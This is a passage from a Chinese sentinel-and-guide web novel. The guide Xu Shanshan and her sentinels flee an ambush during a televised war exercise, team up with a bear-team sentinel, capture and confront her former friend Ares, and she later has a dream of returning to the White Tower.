她不禁默默从包里掏出一包饼干开始啃。宋晓宇在与北泰交谈后,心中有了主意,询问她的意见,她没意见。 亡命徒helps亡命徒。 于是乎一个小小的山洞里,挤满了人,坐着、靠着、躺着,午夜降临,睡姿各异。 她总觉得自己腿很沉,抬不起来,直到第二天醒来。 首先看见的,是精神体对峙,非常 萌的场景,如果自己的腿没有被熊抱在怀里的话。 它还在睡,大概是把她的腿当成了木桩,侧躺在石地上,还打鼾。 其余两人早醒了,包括肖寒,不满它这样亲近,黑鸢站在一旁,气鼓鼓地踩上去,不时用喙啄肉。 但对方皮糙肉厚,索性转身,把脑袋往下埋,只露出熊背,压根没有起床的意思。 她往里抽了抽脚,它才缓慢地睁开眼睛,随后,头一歪,又靠了下去。 徐珊珊觉得,北泰和队伍走散的原因,很有可能是他睡懒觉,感觉自己真相了,因为洞口的男人还闭着眼。 有点沉,她拍了拍熊的脑袋,“起床了。”睡在洞口的男人,离他们最远,睡姿端正,揣着手歪倒在岩壁,脚踝落在外面。 宋晓宇刚走过去,他立即就醒了,睡眼惺忪地抬头,头砰的一声撞在岩壁上,“嗷——”一副神游模样。 徐珊珊:“你……” 北泰:“要出发了吗?” 她看向宋晓宇,对方点头,便不再管这个新入伙的陌生人,去观察肖寒的情况,体温还是有些高,头晕且晃,宋晓宇架着他起身。 三人汇聚在洞口,后来的北泰也加进来,雨水磨亮岩石,下山的路有些滑,找到一处开阔地,黑鸢在岩块上变大,她爬上肩。 然后是伤员,宋晓宇自己没上来,只让在前面会和。 云层之上,两个男人变成黑点,并逐渐缩小,她不知道他们打算干什么,随着两人行动,身影逐渐消失在密林中。 屏幕之外,白塔内部播报:数支队伍淘汰,新一轮的缩圈即将开始,入围队伍有…… 洛练一没有等到妹妹回信,但曼努埃尔撞到了旧友,名为白阳的哨兵。 小酒馆在休息日开放,许多人聚集于此,一同观看演习直播。 他依旧是全身紧裹,一副不苟言笑、生人勿近的模样,白阳将酒杯放下,笑着打招呼:“队长。” 绿眼黯淡,他的视线从屏幕移开,摇头说:“早已经不是了。” “你受了伤,不去医院躺着,怎么还来这儿?” 白阳:“嘿嘿,我恢复得差不多了。” “哦。”曼努埃尔看他活力十足,将手收回身前,“你喝吧。” 白阳又让人取两碟下酒菜来,但对方没吃,他知道,对方顾及伤口。 白阳边吃边观察,回忆里模糊的身形一点点清晰。随着一场对决胜利,欢呼声迸发,他也鼓掌,但注意到老队长反应慢了半拍。 他在看什么? 随着胜利,犬科联队的投票数上升,预期排名又往前走,实时滚动的由众人投票,推测的各组排名。 白阳:“你押的谁赢?” 曼努埃尔抬眼看去,“我没下注。” 他下了。 白阳的声音,不断让曼努埃尔回忆起数年前,所有人都聚在这儿,喝酒谈天。 旧忆伤情,男人倏地一下站起来,白阳诧异抬头,“要走了吗?” “嗯,我有点事。” 嘈杂的人声扑进耳朵,曼努埃尔的眼睛眨得很快,手放松却发麻,一道明亮的声音忽现:“队长,你别再自责了,那不是你的错。” 但对方没有回应,沉默离去。 他“咚”的一声坐下来,惹得旁人不悦,自己却笑嘻嘻道:“兄弟,你点的什么酒,看起来不错。” 旁人白了他一眼,但随即报出了酒品,算他识货。 云雾之间,风撩秀发,黑鸢似乎知道该去哪,等抵达目的地时,两人已经等在路边了,还停靠着一辆车。 这车是从哪来的,她也不敢想。 第53章 一行人驾车而去。 日子过去,肖寒的伤口逐渐愈合,四人熟络起来,在火堆旁交谈,火舌跳动。 黑熊将头搭在主人肩上,撑着脑袋听。 纯白雪团子被女人抱在怀里,它放松地坐下,扭头往上看,手指穿插在羽毛间梳动,舒服得闭眼。 鹰站在树巅,四处环视,保持警惕。 北泰被骚扰得烦不胜烦,轻拍熊掌说:“自己去翻,包里还有一袋水果酱。” 它才落下,往后备箱走去,勾开拉锁,翻找起来,畅饮后,甜蜜又满足地趴着睡觉,一只脚落在垫子外。 徐珊珊好奇地问:“你是被谁追?” 她想,整支队伍,没必要对落单的人穷追不舍,除非是结怨。 北泰:“象队。” “蹦——” 木枝烤得脆黑处崩裂,冒出一堆火星,前端塌断掉下,宋晓宇又上添了两根实木,平淡道:“冷吗?” 她摇了摇头。 北泰反问他们,为什么和队伍分开,在宋晓宇的默许下,她说了实情。 话说完,人还没表态,她先被逗乐了,几个倒霉蛋。象队,就算没接触过,也能想得出来。 他们的前途是看不到一点,临时队伍简直吹弹可破。 “三、二、一,散伙。” 徐珊珊拍拍手,站了起来,拉起肖寒的手往回走。 宋晓宇跟着起身,“最好明早动身。” 她看三人都很认真,连带着黑熊都爬起来,垂头丧气地坐好,她摊手,“我开玩笑的。” 北泰不想拖人后腿,他解释,如果真出现危险、无法应对的情况,大家各走各的,没有冒死营救的责任。 他这样说,她不禁想起队伍,他们在哪? 月落日出,按时间来算,缩圈已经开始了,他们需要尽快和队伍会和。 在他们休息时,也有队伍在夜行军,车灯照亮道路,颠簸的道路,伴随着鼾声。 群鸟盘桓,达伦他们没有等来三人小队,再回去看,找不到任何踪迹,许多没赶到的人已经消失。 好消息是,空战组的两支队伍会和了,坏消息是,向导不见了。 赶来的人都十分愤怒,怒火首先指向敌人,其次是保护不力的哨兵。 他们决定铺开搜索网,寻觅他们与猫科联队的踪迹,达伦相信,他们会往这儿来的。 他们要做的是及时找到、支援他们。 办公室。 闹钟震动,该出发了,山昊按下暂停键,补看完录像,他往外走去。 浅灰色六角大楼,这是一座医院。 山昊在登记后,踏入走廊,在病房门口摁铃,房门应声而开,他走了进去。 柔和光线扑进眼睛,两人坐着,分别是卡尔、布鲁诺,都是一身病服。 墙面上放映直播,讲解员的声音越发急促高昂,似乎到了关键点。 两人瞥来一眼,又转头往屏幕。 “他们正在寻找遗落在外的向导,空战组的两支小队,能否成功呢?” 左下角的地图上,两个红点逐渐接近,但不知为何,又调转方向,擦肩而过。 两人遗憾地呼了一口气,山昊笑着将包放下,坐在一旁,他当然相信她会赢,哪怕过程曲折。 医院的空气温暖湿润,而徐珊珊所吸的,更为寒冷和清新。 雨水如注,砸在坑里发出响亮的鼓声,她内心升起不好的预感,又是下雨。 手臂像针刺一样麻,前窗被水雾掩盖,雨刮器不断摆动,让视野变清晰,转角之后,漆黑一片,他们进入了长隧道。 明与暗,山丘相连,近光灯照亮了车身周围,她看见圆弧壁上的消防设施。 肖寒睁开眼,偏头向前,忽然喊:“掉头,有埋伏!” 突然,一道亮光搭在了脸上,将这里照得恍如白昼。 她还没反应过来,已经被肖寒扑住,连人带身体都藏在了驾驶座后面。 阴得没边了,她忍不住吐槽,各个都搞埋伏。 一阵急转弯,然后是子弹梭进金属盖的锐响,转弯时,她穿过侧窗往外看去,但那光太刺眼,什么也看不清。 北泰连续向外抛掷了两颗烟雾弹,随着子弹的声音从车前转到车后,心逐渐放下来。 直到一声响亮而低沉的嚎叫从前方传来,宋晓宇打开了远光灯,于是两颗巨大洁白的象牙向上勾着,暴露在眼前,接着是长着稀疏毛发的灵活鼻子。 是大象,不止一头。 它们从隧道入口冒头、汇聚,汽车没有减速,仍然向前冲去,想在结阵前冲出重围。 一路横冲直撞,两架枪从侧窗伸出作火力掩护,从空隙中灵活穿梭,引擎盖整个掀起,挡住视线,身体被震向一旁,浓浓黑烟铺满视野。 “呲呲呲——” 刺 耳的金属划拉响,他们终于冲出重围。但车皮被掀开,前后火花冒出,车速无论如何也提不上去,雨水扑进前盖。 他们被迫停车,冒雨闯入山林中,而追兵穷追不舍。 马路边,翻越防护栏,往下是一道凹下去的沟,有点高,宋晓宇在下面伸手,她心一硬,跳了下去,被接住,两手相握。 宋晓宇:“跟我来。” 心脏急速跳动,脚踩下去湿软的草地,浸出的水声和枪炮声环绕,腿越来越酸,她跟不上了。 紧急关头,宋晓宇也顾不上礼节,一把将人抱起,肖寒殿后。 他们深入密林,身影被树干遮挡,北泰悄然停下,无人察觉,离开队伍,往右边退去。 枪声落点越来越远,肖寒停驻,回头看,人全被引走了,他们暂时安全了。那群人似乎是朝他去的。 事发突然,也不知道对方是如何隐匿了踪迹,宋晓宇检查她是否受伤,但肖寒却摇摇晃晃的,女人脱手,冲向了别人。 徐珊珊:“你还好吗?” 她用自身体重供他靠着,只见男人扶着额头,缓慢地摇头说:“我没事。”他只是头晕。 稍松了口气,“咳、咳——”,雄鹰警鸣,有第二波人。 心再一次提起来,她又没有急支糖浆,为什么一直追她? 脸上全是雨水,三人对视,宋晓宇果断作出决定,他看向林深处,北泰被逼入绝境,兽化上树,在枝头间来回跳动。 宋晓宇:“你先带她离开。” 肖寒点头,两人交接后分道扬镳。 两人升至高空,她看见了从下方穿出来的人,那张熟悉的脸,旁边的人下意识举枪,被手拦住了,遭到厉斥。 这个高度,已经安全了。 果然是他,阿瑞斯。她很生气,做出了一个挑衅动作,大拇指向下,随后将头埋在男人胸前。 真是太差劲了,还朋友呢,对她赶尽杀绝。 阿瑞斯看见了,但雨水渗透睫毛,触及虹膜,不自在地眨了眨眼,他不确定地问:“那个手势是什么意思?” 虽然有文化差异,但基本都表达消极含义,终于赶上来,还没说上一句话。 他只是自欺欺人。 而屏幕外,轻笑声此起彼伏,任人评价,也不过是“活该。” 见她脱险,另外两人的注意力分散些,山昊才开口,他将两人聚在一块,是想商讨,哨兵间的恶性竞争问题。 雨水迅速带走热量,男人的脸变得冰凉,摸上去像一块玻璃,她感觉到他不是很稳,“要不我们在前面停下来?” “等一等他们,已经很远了。” 肖寒的睫毛被打湿,更加明显,“不安全。”太近了,他们会追上来。 当她看见,一个黑点穿向云层时,心情激动起来,是他们吗? 是的,他安稳地坐在鸟背上,北泰被抓在爪下,但炮弹向上冲,在空中打出数道白色气流。 这是什么仇什么怨? 它身手矫健,几个转身就躲了过去,因为北泰没有经验,宋晓宇忍不住嘶了一声,还有些疼。 男人躲在树上,等他来的时候,一跃而下,那重量,差点给他抓脱臼,其实对方根本不用往下跳。 完全是实心熊。北泰还狡辩,说他在他们熊圈算瘦的了,他也是顺从了。 他们这一回儿飞了很远,要不是体力不支,估计要一路飞达目的地,但病残全集。 落地时,她才发现北泰受了伤,从不喊叫,还以为他没事,但显然没那么幸运。 他们只剩下一个背包,其他的都没来得及拿。徐珊珊打开医疗包,宋晓宇接了过来,先放置,翻出毛巾给她,让她先去擦干身体。 宋晓宇:“转身。” 北泰抬眼,反应有些慢,一边捂着自己的大腿,一边挪动身体,一块抹布被撒进嘴里,然后是闷哼声,牙根咬紧。 她本想给自己擦一下,但看见肖寒半躺在洞壁,又紧闭眼睛,嘴唇发青,就想着先给他弄,男人睁眼,想劝说她。 徐珊珊:“别说话。” 她的命令让男人安静下来,配合行事,完事后才把自己也给弄干。 她不禁嘟囔:“跟《丧尸出笼》似的,闻着味就来了。” 宋晓宇将弹头取出,止血、包扎,北泰松口,将抹布返还,道了声谢。 北泰:“抱歉,连累你们了。” 徐珊珊:“没事,彼此连累。” 再晚一点,就前有埋伏,后有追兵了。要是他不把人引开,等阿瑞斯来了,不可能四人重聚。 换上干衣服,他们换了位置,先前地上都积了一滩水,嗓子很痒,迷迷糊糊的,直到打哈欠,她才知道自己感冒了。 她服下半粒感冒药,蹲在肖寒侧边,男人两腿岔开,腿上有道划伤,不深。 一道炙热的目光,肖寒感受到了,他侧头,等待下一步指示,但没有,只是两眼对视,耳朵发烫,低头继续包扎。 下巴被挑起,一股很轻的力道,将他的头扭转,一张放大的脸,纤秀的鼻根,闭上的双眼,他睁眼看着,然后是唇上吻。 像一块湿木头,徐珊珊松开他,舔了舔嘴唇,“谢谢。” 她站起身,扭了扭腰,发出嘎吱嘎吱声,人走近了,她才看见,是宋晓宇,沉默但渴求的目光。 她伸出手,“来。”奖励另一个吻,在迷情里短暂遗忘危险处境。 吮吸和水声,北泰侧着头,也没敢看,毕竟自己是个外人,但就算他看,人也是被挡住的。无主熊的苦恼谁懂。 不执勤的人闭眼休息。 他们要等待下一个晴天,下一个白天。 第54章 “嗨嗨——” 轻快的呼声扑在耳畔,她睁开眼,围了一圈人,熟悉的脸,惊喜地伸手,“你们怎么来了?” 洛伦斯:“来找你啊。” 被扶起身,她躺靠在胸前,接来一袋水,吞吞喝下,扫见数双星光四溢的眼睛,爽朗笑容。 他们怎么来的?长久的忧虑被兴奋取代,好消息如甘霖降临,她被冲击得不知所措。 她抱住朋友,结实宽厚的后背,熟悉的热闹氛围,气息吹拂发丝,让皮肤酥痒,她却忍不住握拳。 哨兵们蹲下来看,怎么这副表情,“谁惹你不高兴了?” 面对询问,她咬牙,竟一时想不起那个坏蛋是谁,鼓气半天,憋出一句:“忘了。” 穿过人墙,她往洞口走去,好像内心期待着能够见到谁,光线朦胧,五指挡住眼睛,却看不清。 她想说话,喉咙却哑了。 “你醒了。” 熟悉的嗓音,她终于想起来了,确切地喊出那个名字:“夏广礼!” 男人出现,徐珊珊一把揽住,惊喜地呼唤他。 夏广礼:“怎么了?” 一阵突兀的声音传来,她想捂住耳朵,却直直传入,她没来得及回复,眼前的景象逐渐消失。 女人睁眼。 熟悉的场景重现眼前,只是梦境,眼前寥寥几人,都屏气凝神,略显担忧。 徐珊珊:“我没说梦话吧。” 宋晓宇蹲在一旁,用手试探她的额头,先才听她说胡话,以为烧糊涂了,体温正常,应该是思虑过重,这是他们失 职。 “没有。” 两人都否认,她信了。 洗漱后,她开始打点自己的“山顶洞人”同胞,相互关照,确保一切无碍,才继续上路。 前有埋伏后有追兵,他们决定更改路线,全程飞行,费力但更安全。 北泰与他们同行,似乎已达成某种约定。 他们提前吃过了,她也补充完能量后,四人启程。 的确,当身处高空时,她感到安全。 沉闷的滴滴声从包内传出,肖寒将通讯器取出,是昨天两人交接的黑盒子,上面红光闪烁,男人拨开外壳调试。 飞行高度降低,速度减缓,而一道男声清晰传入耳中,粗犷豪放,像个络腮胡大叔。 “小子,你跑哪去了?” 没听见回音,只有风声呼呼,通话对面的男人皱眉,示意其他人安静下来。 北泰在后面喊:“是找我的!” 但他们并不在一处,声音传不清晰,随着气流变化,两鸟一前一后,北泰不确定这种情况下,是否能交接物品。 肖寒:“请等一下,我将通讯器转交给他。” 接下来,两人进行了一场亮眼的空中交接。 北泰与他的队伍联络上了,他们会接应,并提供歇脚的中转站。 当晚,四人在熊队落脚,哨兵们围拢在外,火烧得旺盛,熏烟漆黑,光明正大,一改往日的穴居人待遇。 他们终于可以安心洗漱、更衣。 在这儿补充了物资,并发射信号弹,通过通讯设备联系上了大部队,并告知了方位。 “向导没事吧。” 徐珊珊从堆垛上起身,挪到桌前,接过通讯器,鼻子发酸,“我没事。” “你们还好吗?” 解逸飞:“我们很好,请放心。明天我们来接你。” “好,我等你们。” 徐珊珊将电话转交给宋晓宇,裹紧身上的披肩,走到远处,车辆的阴影处,鼻子酸涩。 隔得远了,她听不清,为什么是解逸飞回话,别的人呢?如果他在,怎么会不和她说话。 男人走近时,地面沉响,她下意识扒紧车皮往后退,抬眼一看,一位是熟人,才放松下来。 “谢谢。” 北泰:“你放心,明天揍翻他们,给你出气。” 她嘴角上扬,又抬不高,勉强道:“你们加油,如果帮得上忙的,随时喊我。” 北泰身旁的人忽然开口,的确有事请她,他们队伍没有向导,有几位哨兵的精神状态糟糕,希望她能看一看。 徐珊珊答应了,她只有一个请求,如果可以,希望他们明天把那个人留给她。 明天这儿会是四方汇聚的战场,她治疗完熊队的哨兵后,回到车上,肖寒敲门后进来,手里提着东西。 “我为您戴上吧。” “好。” 她点头同意了,为防止误伤,需要穿戴齐全,今晚是肖寒陪她,等到了明早,就换班,由宋晓宇贴身保护。 他不如宋晓宇飞得快,白天的作战力不如他。 该来的总是要来。 凌晨,夜深。 北泰和队长一边解释,一边观望,但更重要的是嗅觉,当鼻子里的气味渐浓,众人提起了警惕,全面戒备。 但那味道是从空中来的,潜伏命令,双方对上信号,那群人才平稳落地。 北泰见人齐了,响亮地汇报:“他们离这里还有……” 洛伦斯:“嘘,小声点。” 没见人睡觉呢,这么没眼力见,洛伦斯的眼睛四处转,寻找向导的位置,又瞥了一眼面前的壮汉。 面上拉出一个笑容,内心暗弃,一看就没伺候过人,细节不到位。 众人商讨作战事宜,看护的人多起来,站在车侧,一米开外,透着玻璃往里看,一侧有窗纱挡着,而另一端露了一个角,于是轮流弯腰从角往里看。 他们好久没见她了,人睡着了。 有的人伤势重,就杵着一根拐杖往里看,动作慢,就被别人嫌弃。但更奇怪的,旁人见他们这动静,也凑过来。 洛伦斯作为秩序维护员,上前就把他扒拉开,“看什么看?” 空战组的人围观一下就得了,你们熊队的凑什么热闹,这是他该看的吗 一只手从窗边出现,彻底拉拢了纱帘。 洛伦斯:“都别看了,该干嘛干嘛去。” 把人挥散了,洛伦斯站在车旁,他待会也要走的,要去前线侦察。 黑影笼罩,他抬眼一看,这不宋晓宇吗? 臭鸟人。 他暗地谩骂,还记着当初地下盗取他身份的事,但现在是“一家人”,又看了一眼,憋不出好气。 洛伦斯:“好久不见,挺狼狈啊。” “呵。” 男人罕见的没呛他,两人也没对骂起来,就站在窗外,见他憔悴的面容,洛伦斯说:“还不睡,明天可别拖后腿。” 酒味从男人唇舌散发,洛伦斯从上至下打量他,怎么还有血气,“受伤了?” “没。” 宋晓宇扭紧旋钮,他就喝一口,“肖寒,不是我。” 洛伦斯站着,黑夜空中突然抛掷来一个水壶,他两手捉住,是他没喝完的酒,男人转身,留下一个背影,“等出去再找你算账,小蜜蜂。” “呿,蠢鸟。” 洛伦斯看了看酒袋子,将它放进衣兜,他才不喝,免得像他们一样误事。 表针一分一秒拨动,时间到了,解逸飞挥手,示意他们先动身。 夜仍漆黑,但车在动,身体摇晃,徐珊珊睁开眼,看不清对面的人,只开口喊:“肖寒。” “我在。” “睡吧,我看着呢。” 毯子往背后掖,她模模糊糊的,嘟囔几声,车内的三人,谁也没听清说什么,见她将胳膊缩进毯子里,呼吸逐渐均匀,又转头往外。 宋晓宇把持着方向盘,明早就该结束这场恩怨,他本想在场,好好出一口气,但有更重要的任务。 天渐渐亮。 她起得很早,比往常早两个钟,一醒来就问,他们来了没有。 宋晓宇:“昨晚就到了。” 徐珊珊这才松了口气,男人从夹克里掏出一张纸条,说是留给她的,这字迹,对的上,解队的签名很有特色,像繁体字,很复杂。 宋晓宇:“我们出去吧。” 四人升空,那辆车被抛弃了,在山巅之上,俯瞰远处的战场,她看不清,还贴心地准备好了望远镜。 好似隔岸观火,但同她预料的不同,这场战斗并没有很早结束,换句话说,他们没有选择一下猛拼,而是慢慢割刀子放血,侵扰不断。 圈状硝烟从地面升腾,留下一处处废墟,在对空弹药的反击下,不断飞旋,致使对方被迫躲入防空设施中,就如同缩头乌龟。 中场休息,然后,轰炸继续。 一直到傍晚,那处的爆炸声小了些,她的目光也从一开始,注视战场,到后面,观察地平线,远处像米点大小移动的,是别的队伍。 胜败未定,双方损失惨重。 她看见了一头大狮子,很大,并且很快,它的浑身由黑色雾团缠绕,身姿比其他精神体更轻盈,一跃几米高,更令她惊讶的事,它可以短暂长出翅膀,在空中保持。 这是阿瑞斯的精神体吗? 它已经癫狂了,野性毕露,以一挡十毫不畏惧。 不,她不知道的是,这就是阿瑞斯。 队伍已经被邵江接管了,他们试图撤退,但却无法唤醒队长,要是再犹豫下去,队内的牺牲会扩大。 他们选择离开了。 男人最终被绑到她面前。 战后,解逸飞在清点失踪、死亡的人,她接过统计表看了眼,将它交还,站到浑身是血的男人面前。 额角的伤流血,燃红了眼睛,他是从味道嗅出来的,站在自己面前的人是谁。 男人张嘴,说不出话,兴许是疼的,他试图将胳膊弯曲,往衣领上扣,被人厉声呵斥,箍住了手,翻身头朝地。 徐珊珊让他把人翻过来,她还要问话,伸出手在男人的外套口袋翻找,碰到一袋流沙似的水袋,当她拿出来时,男人弯曲的手指一点点伸开,似乎想碰。 她取过来,站开,面无表情地看着他,扭开盖子,里面水状的东西,乳白色,香精味扑面而来。 “这是什么?” 北泰:“冰淇淋,已经化了。” 第55章 要么死在你怀里,要么死…… 打架也要随身带零食?真奇怪。 北泰蹲下搜身,一并收缴,她将这袋也交付。 这人的处置,她还没想好,有许多疑惑,有话想问。 突然听到有人唤她,起身前去,解逸飞站在桌前,手中握持通讯器,“他们想交换俘虏。” “谁?” 解逸飞:“一个人,夏队。” 她接过通讯器,打破沉默,率先开口:“让他说话。” …… “明天,你把人带来。” 通讯挂断,饭后,北泰向她告辞,熊队整合了,要往内圈去。两队比不了,前面有山脉,他们得绕路。 道别突然,在夜色里,目送他们离开。 血色满月高悬。 洛伦斯汇报完,准备转身,被叫住,队长手中拿着册子,目光却望向伤员营帐。 解逸飞:“天色不早了,你去看看。” 他点头称是,来到帐前,揭开帷幕,担架上的人平静入睡,向导坐在角落,垂眸神游。 向导素浓郁,精神力毫不吝啬地外泄。刚踏进来,呼吸都慢了下来。 徐珊珊听见脚步声,抬头见男人捧着披肩,说夜里冷,请她别再守,去休息。 她想再看一眼阿瑞斯。 洛伦斯将她领到一处空地,她看见了那个人,手脚绑住,脖子戴圈,口中塞物,蜷缩在草地上。 手电照亮,一道强光打在男人脸上,他的头微侧,一点点扭过去。 洛伦斯搬来一张折叠椅,她坐在阿瑞斯正对面,挥开他,“给我十分钟,可以吗?” 洛伦斯的目光在倒地的男人身上徘徊,点头说:“我就在前面。” “需要帮忙的话,和我说。” 这话让她疑惑,帮什么忙? 洛伦斯以为她要私下惩处这个人,准备帮她摁人。 “只是聊聊,可以让他们离远一点吗?” 洛伦斯机械地转了一下头,聊聊?起身踢了一脚,撕开黄胶布,将布条取出。 他将手电留下,挥散看守,站在远处等待。 人都走了,她感到喉咙发痒,咳了两声,将披风拢紧,手电调到低亮档位,照在男人胸前。 “能说话吗?” 两人面面相觑,他不张嘴,血在脸上结痂,撞痕红肿,粉肉裸露在外,草叶从旁边经过,只是看她。 “你不说,那我说了。” 阿瑞斯听她说,一开始是疑惑,讲到后面就是愤怒,难过,最后是质问。 她说:“我们不是朋友吗?网上认识,我找你。” 不,虽然是网上认识,但是,最初是他在关注对方,第一次见面是偶遇,后面就是处心积虑地“偶遇”。 “你给我发那些照片,我看了。” 徐珊珊的思绪不断回退,穿插每一次相处的记忆。 “图书馆那次,其实我就已经想断了,但因为有人在,就算了。” 断了?阿瑞斯尽量忽略这个字,不去咀嚼它的含义,当没听到,把时间线往前拨。 第一次接触时,明明愉快、和谐,两人一起就餐、逛商场、他还送她回家。 以为会更进一步,但后来却急转直下。 他那时很自信,所以忽视了其他人的存在,不是单独相处,也不是回她的家,都有旁人存在,她身边从不缺人。 徐珊珊不否认,抛开其他,两人相处还算愉快,但抛不开。 “我后面有点忙,又发生了意外。”她指的是卡尔,招惹了黄花大闺男,她也没想过跑路。 是的,他们自那儿之后,只单向联系。 阿瑞斯听人说,她来过队里,先是兴奋,然后得知,和别的哨兵一起——夏广礼,不是来找他的。 他也就算了,毕竟有契机,相处早,但突然又冒出一个新人来,整日出双入对,后来居上最可恨。 他等不到人。 “我不想和你交往了,”女人眼眶红了,“特别是,在你伤害卡尔之后。” “……不要” 她沉浸在自己的世界里,耳朵似乎听到了什么,分不清,是他发出的吗?又想起近日的事,嗤笑了一声。 “你指挥,偷袭我们队伍,伤害我的队友——我的朋友和家人。” “在此之后,还不放过我们,一路追杀。” “我真的很想亲手了结你。” 听到这话,阿瑞斯失神了,身上好像痛觉缺失了,脑子嗡嗡响,爱的反面是什么? 她低头深吸了一口气,抬头看人,“你是不是恨我,想报复我?” 视线交汇,他没法发声,她听不见内心的注解,只看见那张脸涨红,脖颈上青筋泛起,像充了气,挣动时叶片锯齿扎进嫩肉里。 无需解释,她总不信,除了鸟队,他们没有别的队伍可供选择。 “有意见冲我来,别动我身边的人。” 手指触摸电筒的顶端,筒头镶嵌的钨钢破窗珠,质地坚硬,她将它放下,摸向外腰带挂着的刀鞘,往上摸到刀柄。 左手挡住眼睛,闭眼想了想,叹了一口气,最终放下。起身蹲在男人面前,手搭在下颌,拇指擦过脸颊,扒开硬结的泥块。 “怎么长尾巴了?” 温暖、细腻、柔软的手指在脸上游走,当她闭上眼睛,暖流如缕包裹男人全身,洗濯大脑,压在地面的尾巴逐渐消失。 不是很生气,对他很失望吗,为什么还帮他治疗?死灰又复燃,阿瑞斯觉得,只要有一点希望,他就放不下。 手抽离,气息变淡,光亮熄灭,人也离开。地上的人蛄蛹着翻身,但她离开后,旁人立马跟进,挡住光线,扣头塞嘴。 徐珊珊走向等在一旁的男人,心里念叨着,她还是心软,看他那副样子,本想给他两拳的,下不去手。 将手电还给洛伦斯,一路送至车内。 车门打开,里面坐着一个人,停手看来,向她伸手,徐珊珊摆手婉拒,自己攀上车。 他自己身上就有伤,哪还用他拉。 肖寒:“困了吗?” “还行。”她想往前去取东西,才发现驾驶座还坐着一个,音量提高,“宋晓宇,你坐这儿干嘛?” “找个地儿睡啊。” 她坐过长途绿皮火车,硬座,下车的时候,腿都是僵的,根本睡不好,侧歪着头,不时醒来。虽然驾驶座可以调角度,也不如找床睡吧。 洛伦斯本来都准备走了,听见这声又转回来,冒头说:“对啊,你搁这干嘛?” 洛伦斯:“那边位置还空着。”提前堵住他的借口。 宋晓宇没理他,只和向导解释:“我想守着你,万一出事,两人有个照应。” 她听这解释,也不无道理,本来三人一直都在一块,很少分开,只是担心,“你那里不好睡吧。” 宋晓宇:“那我也上床?” 他都能上床了,那他也可以。 洛伦斯:“我守驾驶座。” 停停停,她的关心,可不是让他们得寸进尺的。徐珊珊白了他一眼,“你跟他去找张床睡。” 然后转向洛伦斯,“好意心领了。劳烦你帮他找个床位,这里不需要别人。” 惨遭驱逐,宋晓宇不甘心,退而求其次,不愿挪窝,“我就睡这里就行了。” 洛伦斯:“那我可以睡床底。” 哪有床底?她愣了一下,半天才反应过来,应该是座椅下方,放脚的地方,狭长的空间,对于这些人来说,很挤。 没法了,她直接站起来,跳下车,跑到车前,打开驾驶舱门,把男人拖下来,推着他的后背,蝴蝶骨包裹在肌肉中,肉感明显。 没使多大劲,将两人汇聚一处,宋晓宇还想拉她的手求情,直接松开,两手举到面前,“走吧。” 见她不留余地,宋晓宇道了声晚安,又瞥了一眼洛伦斯,转身离开。 洛伦斯:“我——” “你也走。” “……好” 两人都离开了,她长呼了一口气,返回车上,关闭车门,床垫铺好。 她躺上床,枕在手上,被这么一闹,先前的情绪消散了。真是得寸进尺,她甚至想说得过分一点,那就是——不要脸。 肖寒还在收拾她的东西,像个囤囤鼠,试图把所有用品打包到一个背包里,但好像装了些没用的东西。 比如,两把梳子。 处理完毕后,男人拎起来试重,她也爬过去,一只手捞住背带,纹丝不动。 她松手锤背,男人停顿,转身问:“要我给你做个按摩吗?” “你还会这个?” “嗯。”队内训练的时候,肌肉酸痛,也会互相 帮忙按。见她推辞,直道不影响身体。 她心动了,一个转身,趴在枕头上。 “多按按腰。” “嘶~轻一点。” “这里重一点……诶,就是这个力道。” 声音萦绕在车内,而车外,夜晚有鸣虫叫声。 宋晓宇和洛伦斯一前一后走向帐篷,走得很快。见走错方向,洛伦斯喊道:“这边。” 讨厌的蜜蜂。 宋晓宇不高兴,也没停,继续往前,谁跟他一家人?他要回自己队伍睡。这家伙尽坏他好事,挥手让他离开。 见男人反应冷淡,洛伦斯站在原地,耸了耸肩,两脚靠在一起,也转身离开。谁愿意管他的事?要不是向导吩咐的,他才不管他有没有地方睡,最好去睡大马路。 讨厌的鸟人。 作为队长,达伦睡在出口位置,所以当宋晓宇回来时,他第一个看见,点头示意,空床位很多,他可以随意选。 为了组织撤退,达伦自己也受了伤,反击中伤重,所以现在两支队伍,由二人商量,但主要由解逸飞管理。 时间到了,达伦向他示意,该休息了,不久后灯光尽灭。 宋晓宇平躺,有的人睡得快,已经有鼾声了,虽不响,却令人烦躁。 空气中再也没有她的味道,他睁着眼睛,心里想着,得找个法子钻被窝,把肖寒换出来。 他得上位啊。 第56章 思绪像翻涌的水逐渐平息。 浓雾笼罩,霜降大地。 她身着短袖长裤,一身作战服站在溪谷边,水声哗哗,沿着小道往上爬,到了马路上,才搞清自己在哪——白塔。 路边的告示牌,十字路口的建筑和她印象里一模一样,只是告示牌的颜色变了。 她站在路边等待,站在队尾上车,却翻不出光脑,没法身份认证。 犹豫是否要下车,门已关闭,想和师傅解释,但对方转动方向盘,不理睬。 车辆行驶,没有回应。前排满员,无人看她,扶着栏杆往后走。 诶,有个熟人。 山昊长官,他仍短发整齐,却夹杂花白,皮肤紧绷,但不似年轻时光滑细腻,体型尚佳,只是袖口断了一根线,显得突兀。 他向来一丝不苟,原来也有不小心的时候。 身边有个空位,放了包,她想坐他旁边。 她把手提包往中间挪,只坐了一半,手肘撑在栏杆上,打量周围人,先是其他乘客。 墨绿、棕绿色的作战服,年轻的面庞上透出迷茫,是刚入塔的哨兵吗? 山昊垂眸,察觉到细微动静,压力增大,椅面角度倾斜,包的摆向更改。 他抬手看表,时间还早,表面淡然,刚才没有风,也没人碰过。 “长官。” “山昊。” “大笨蛋。” 真听不见,她将手在男人面前晃了晃,没反应,连眼睛都不眨,让她狠狠泄气。要是这是装的,那也装得太好了吧。 一车人都陪她玩?不可能吧。 “长官,你怎么变得这么……成熟了?” 她把那个“老”字憋了回去,见周围人都没反应,自言自语起来。 微风吹拂,更像是人吐出的气息。毛孔张开,细密的感受器让痒意蔓延。 左前方刚开了窗,是从那儿进来的吗?不对,那是疾风。 他抿唇润亮,喉结滚动,伸手下扯领带。 广播响动,高耸的白塔建筑群映入眼帘,男人将手放在横栏上,她先起身让路。男人低头看向公文包,座椅回弹了。 她末尾下车,左右张望,却不小心踩到水潭,溅到腿上,应该是先前有洒水车路过。 没纸巾,算了。她得去白塔看看。 走上站台,看见长官背影,他扭头回看,在看谁?徐珊珊扭头,没人,难道是看车?还是看她,刚才不还装看不见嘛。 女人走动时,鞋底水迹印在地面,形状小巧,鞋纹符合规制,山昊看着鞋迹逐渐走近,水被地面带走,面积逐渐缩小。 他的目光跟随,一直到鞋印并列,停下。 